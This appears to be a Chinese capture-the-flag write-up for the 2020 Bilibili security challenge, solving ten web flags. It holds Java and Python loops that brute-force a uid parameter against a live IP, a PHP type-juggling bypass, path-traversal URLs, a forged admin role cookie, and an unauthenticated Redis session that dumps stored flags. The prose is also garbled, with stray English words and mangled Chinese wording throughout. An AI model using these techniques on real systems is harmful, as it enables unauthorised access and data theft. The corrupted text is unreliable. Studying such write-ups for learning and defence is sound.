2020-1024程序员节首届哔哩哔哩安全挑战赛Write Up

第一题

“页面的背后是什么” 指网页源代码php

Ctrl+U 查看网页源代码 看到向一个地方发送了get请求java

发送一个请求,或者直接找找flag1相关的东西就能找到python

第二题

"真正的秘密只有特殊的设备才能看到"指须要使用bilibili Security Browser浏览器访问git

使用抓包工具抓包程序员

把浏览器(UA)伪形成"bilibili Security Browser" github

须要注意的是若是是Postman须要添加Cookie redis

 

第三题

“密码是啥”json

密码是啥能够 本身试,此外,用网上给的弱口令词典是没有前途的~api

第四题

"对不起,权限不足~"指你的身份不对浏览器

MD5 

假装成 超级管理员

猜想角色名字,首字母大写

第五题

Ctrl+U 查看网页源代码,看看它想要干什么

注意里面有个神奇的uid

暴力遍历要从合适的位置开始

Java版本 

for(int i=100336889;i<100999999;i++){
            Request.Builder builder1 = new Request.Builder();
            Request build1 = builder1.url("http://45.113.201.36/api/ctf/5?uid=" + i)
                    .header("Charset", "UTF-8")
                    .header("Connection", "Keep-Alive")
                    .header("Content-Type", "application/x-www-form-urlencoded")
                    .header("Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
                    .get()
                    .build();
            try{
                JSONObject j=JSONObject.parseObject(new HttpClient().newCall(build1).execute().body().string());
                //System.out.println(j);
                if(j.getString("code").equals("200")){
                    System.out.println(j.getString("data"));
                }else{
                    if(i%100==0){
                        System.out.println(i);
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }

        }

Python版本 

for uid in range(100336889,99999999999):

    params = (
        ('uid', uid),
    )

    response = requests.get('http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify=False).json()
    if response['code'] != '403':
        print(response)
        print(uid)

 

第六题

“结束亦是开始”

硬猜获得 /blog/end.php。

扫描

test.php

test.php的内容是jsfuck

执行 

 unicode 解码后是“程序员最多的地方”=>GitHub

搜索

 https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php

<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
	$content = file_get_contents($_GET['url']);
	//文件路径猜解
	if (false){
		echo "还差一点点啦~";
	}else{
		echo $flag;
	}
}else{
	echo "你想要的不在这儿~";
}
?>

构造参数URL

http://120.92.151.189/blog/end.php?id[]=1

结合前面题目的url猜想

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

这里跳转第十题

http://45.113.201.36/api/images?file=../../../flag7.txt 

这里跳转第七题 

http://45.113.201.36/api/images?file=../../../secret.txt

 

第七题

第六题中

http://45.113.201.36/api/images?file=../../../flag7.txt

第八题

第六题中

端口扫描

服务器开启了6379端口,Redis的默认端口

[root@iz2ze77]# redis-cli -h 120.92.151.189 -p 6379
120.92.151.189:6379> keys *
 1) "flag4"
 2) "flag6"
 3) "flag7"
 4) "flag9"
 5) "flag8"
 6) "flag1"
 7) "flag2"
 8) "flag3"
 9) "flag5"
10) "flag10"
120.92.151.189:6379> get flag1
"3b96173a-b3df4cdd-22d4c15f-261e7309"
120.92.151.189:6379> get flag2
"bd871042-1e09a130-3ddd4faa-cebdb048"
120.92.151.189:6379> get flag3
"c7f7a7c2-28b7f895-5432152b-6410e042"
120.92.151.189:6379> get flag4
"d338e3c8-93215105-258d79ba-b364e59c"
120.92.151.189:6379> get flag5
"612d1886-044898af-6c1e9dba-b58ad075"
120.92.151.189:6379> get flag6
"8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
120.92.151.189:6379> get flag7
"b78ce2aa-10d03327-f2035f4e-55c17689"
120.92.151.189:6379> get flag8
"d436b982-2b81aa54-49a8d2db-87ab951a"
120.92.151.189:6379> get flag9
"b3238659-b81512e6-3a307c74-9877ecc5"
120.92.151.189:6379> get flag10
"e5653416-595b3d0c-4c2a57ee-c026350e"

 由于扫描的缘由,服务器很卡,容易掉线。

[root@iz2zeihez ~]# redis-cli -h 120.92.151.189 -p 6379
Could not connect to Redis at 120.92.151.189:6379: Connection refused
not connected> exit
[root@iz2zeihez ~]#

第九题

第六题中

 

第十题

 第六题中

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

下载

二进制编辑器打开

 

参考文章

2020哔哩哔哩bilibili安全挑战赛前5题思路

如何评价 2020 年 Bilibili 安全挑战赛?

Bilibili CTF

**只有超级管理员才能看wp**

bilibili ctf 第一题

Bilibili 2020 CTF

相关文章
相关标签/搜索